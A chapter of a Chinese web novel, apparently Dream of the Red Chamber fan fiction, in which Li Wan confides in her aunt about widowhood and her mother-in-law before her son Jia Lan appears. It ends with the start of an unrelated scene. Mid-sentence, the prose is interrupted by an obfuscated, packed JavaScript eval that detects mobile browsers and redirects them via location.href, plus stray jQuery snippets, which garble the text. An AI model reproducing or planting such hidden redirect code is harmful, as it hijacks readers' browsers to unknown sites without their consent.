405.二零三上 絮叙旧事婶侄交心
作品:《雪落红楼万芳春》 李婶闻言忙道:“怎么不能?好孩子,你嫁在这家,又不是卖在这家,姑爷不在了,你若要走,难道还有谁能强留你不成?”
李纨缓缓摇头,叹道:“我们老太太素来慈善,若我说要走,她念着我年轻难守,定然不会强留。可兰儿到底是大爷身后唯一的血脉,又是正系嫡孙,想来是无论如何也不能叫我一起带走的。我若去了,难道就叫他一个襁褓孩儿独自留在这里?我是绝不能放心的,凭她什么奶母、嬷嬷,就算有一百个得力的人服侍他、再尽心尽力,可谁又能比亲娘更真心疼他、护他呢!我是决计不能走的。”
李婶自己也是做人娘亲的人,心里明白,十分感慨。她知道李纨说的是实情,却又不愿让她继续沉溺在往日的悲痛中,便拿话岔道:“罢了、罢了。总算最难的日子都也过去了,如今这样,也还罢了。到底在这家里,你是吃了亏、又占着理的,旁人总不敢轻慢了你,你且忍耐些儿,总有你熬出头的一日。欸——今日我瞧见那位‘琏二奶奶’,实在好体面,通身那样的气派,说话又大胆,瞧着很得长辈们的意,她可是你的妯娌?”
李纨道:“那是长房的儿媳,同我们太太一样,曾是王家的小姐,若论起亲来,她还是太太的内侄女。”
李婶恍然大悟,连连点头,赞叹道:“原来是她。怪不得瞧着那样精明干练,那通身的气派,的确是不同反响。”她话锋一转,压低声音道:“她这样得意,又爱出风头的,可见是极得势的,平日里你可曾受她的欺侮么?”语气中带有几分真切的担忧。
李纨摇了摇头,自嘲道:“不曾。非是不能,是不屑也。我这样一个人,孤儿寡母、无依无靠的,难道还能威胁得了她?这些年,我们倒也相安无事,家事得她多担负些,我反倒多得她些照拂。”
李婶道:“这也罢了。论理,若不是因为有姑爷这桩事,你是二房大奶奶,原该你当家理事,哪里又轮得到她伸手来管着你们的事,她若是个懂事的,原该敬着你些儿,才是道理。”
李纨的情绪无甚波澜,仿佛在说别人的事情,只是淡淡地道:“婶子不知道,便是大爷还在,这一房的家事,恐怕也轮不到我来做主。”
李婶问道:“这可奇了,本来是天经地义的事情,怎么轮不到你,为的是什么缘故?”她沉吟片刻,忽然道:“是了,定然是你婆婆、那一位王家的太太有些别的主意罢。”
李纨轻轻一颔首,不愿多言,只是叹道:“人生在世,总是有人命好,有人命不好,我偏是后者,这也怨不得人。琏二奶奶标致能干、人品贵重,又懂奉承讨好,老太太、太太自然倚仗她多些,如今她又身怀六甲,人都奉承她,只说这一胎必是个哥儿,若真是如此,待得一朝分娩,地位更是紧要几分,她这般顺风顺水,想来也是几世修来的,旁人也羡慕不来。”
李婶不再议论凤姐,只是低声道:“姑奶奶兴许不知道,当年你这门亲事,是这家的老爷和你父亲一力促成的。先前两家还在议亲的时候,我们便听说,这位太太似乎不很乐意,也许心里另有少奶奶的人选,只是说了不算。”
李纨垂目注视着自己的衣角,轻声道:“这也不用听婶子说了才知道,这些年我在这里,难道还看不出么?太太眼里哪里有我。想来,我原本就不合她的意,行事上也不曾改观,后来大爷死了,她怕是……怕是越发将大爷的死也怨在我身上了。”
李婶正待开解两句,忽听外头传来丫头素云的声音:“兰哥儿?你什么时候回来的,怎么不进去?奶奶方才还问你呢。”
李纨一听,立即蹙起眉,朝门外看了一眼,手中捏着的帕子忙又点按了一回眼角,迅速整理了衣襟鬓发,稳住神色,对李婶点点头。
原来素云方才遵李纨的吩咐,引着李家姊妹去看屋子。小姊妹两个虽是头一回出门,家教却好,规矩礼数都很晓得,言语举止皆有分寸,便遇到什么同旧日在家时的习惯不一样的,少不得也是客随主便,半点不加挑剔,更不可能真的指出来要改换什么。
素云自然也晓得这里头的规矩,不过走个过场,见二人并无异议,便服侍她两个换过一回外衣,又从旁协助她二人将贴身用物一一收拾停当,这才一同回来复命。
刚走至穿堂时,却正看到一个穿雪青色衣裳的纤弱孩童,正侧着身子立在堂屋门口,一动不动,瞧那样子已不知听了多久了,不是贾兰又是谁?
素云心里诧异,这兰哥儿自小得大奶奶严格教养,一向里都是规规矩矩的,比同龄的孩子都要稳重许多,怎么这会子在这里听上墙角了?这要是叫大奶奶知道了,少不得又要动气,恐怕又要治自己等人一个服侍不力的罪过,所以忙出声唤他,跟着便带他一起进屋来。
一时众人进屋来,李纨与李婶虽已都拭了泪,眼睛却仍泛红,一望便知是才哭过。
众人顿时都有些局促,不知道如何开口才好,贾兰那一双黑白分明的眼睛更是在两人身上静静地逡巡来去。
李婶忙用手帕又按了按眼角,先开口笑道:“嗳,都是我不好,一晃儿这些年没见了,一张口啊就说起从前家里的事,只管把那些旧事、旧人说个没完,没得惹得姑奶奶思乡掉泪,闹出好大不痛快来。”
李纨顺着她的话也道:“婶子快别这样说,这些体己话,我久也没处听见去。我虽是落泪,心里却实在是欢喜的,只盼婶子这一程子在这里住着,要多同我说说话才好,我实在爱听。”
两人轻轻巧巧便将方才的一段不愉快遮掩过去。
李纨便问素云:“姑娘们的屋子,可都收拾妥当了?”
素云答道:“奶奶放心,一应都是妥当的。”
李纨又嘱咐李家姊妹:“这里不比家里,若有哪里不合适、不称心、不方便的,妹妹们只管同我说就,莫要委屈了自己。”
李纹、李绮都含笑应了。
李纨这才转向贾兰,脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317793|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上却立即换上平日里那副严肃的神色,道:“我正找你,你倒又出去野去了。家里有客来,总有人说给你知道罢,也不知安静候着拜见,你这是什么规矩?还不快来,见过你叔外祖母、与两位小姨。”
贾兰熟悉母亲性格,知道自己若是多言,更易招致母亲不快,所以也不为自己辩护,只是规规矩矩地上前给李婶和李家姊妹见礼,规矩严明、丝毫不乱。
这孩子刚落胎胞、尚未睁眼时就有六七分像李纨,后面越长越大、越大又越像,尤其那一双眼睛,清澈澄静,与李纨的眼睛极其肖似。
他小小一个孩童,身量未足,形容尚且单薄,眼神中却是远超同龄人的沉静老练,毫无孩童之懵懂幼态。他这一张清秀的小脸上,也并非全无贾珠的痕迹,其眉峰、鼻梁、耳垂等细微处,皆能寻见其父的影子,但寻常谁又耐烦细细地去端详他?
若贾兰生得像贾珠多一些,或是他能似宝玉一般、等闲愿意同长辈撒娇讨喜,恐怕就能多多唤起一些王夫人对早殇的儿子的深沉爱意,可如今他偏偏肖母,且性子冷僻,王夫人便与他不很亲近,更何况王夫人膝下还有一个天赋异禀的幼子宝玉,所以反而对这个嫡亲的孙子、珠儿遗下唯一的骨血在情感上淡了几分。
李婶一见了贾兰,喜欢得了不得,忙将他拉到身边,细细地问长问短。
贾兰耳中听得明白,一一恭谨答着,言语沉稳,礼数周全,一丝也不怯生。
李婶更加喜欢,叹道:“好孩子,我早想见见你,只是不得见。嗳,若是你外祖父、外祖母见了你,还不知喜欢成什么样子呢。”
贾兰只是含笑听着,十分沉默,似乎人家夸他贬他,都与他关系不大一般。
李纨在旁留心打量,看贾兰神色平和,与平日一般无二,方才渐渐放下心来。
这个孩子不仅面目肖似李纨,连性格也随她多一些,小小年纪,心思却重。
李纨平日里从不肯在他跟前表露半分悲苦的情绪,方才无人处一时动情,同婶子说了那些压心底的话,若是叫兰儿听了去,他小孩儿家不知辨别,更不知隐藏,恐怕生出些不该有的念头,反倒不好。
如今瞧他这般一无所觉的样子,想是不曾听见什么,应是自己多虑了。
众人又略叙一回话,天色渐晚,这才各自休息去了。
---
越潜一进门便直奔书案,满面喜色,团团一揖,拱手道:“给你道喜了,梅槑!”
埋头在书卷中的梅默迦似乎对来人的大胆无礼早已习以为常了一般,眼皮也不曾抬上一抬,只随手胡乱挥了几下,便似驱赶蚊蝇一般,示意越潜速速走开,莫要挡住从他身畔窗上投下的一束恰恰好的阳光。
越潜哪里便肯死心,满以为这呆子整日埋首故纸堆中,读医书读得傻了,恐怕也有些影响听力,忙凑过去,将半个身子伏在案上,一字一顿地道:“梅——槑——你、大、喜、了!”

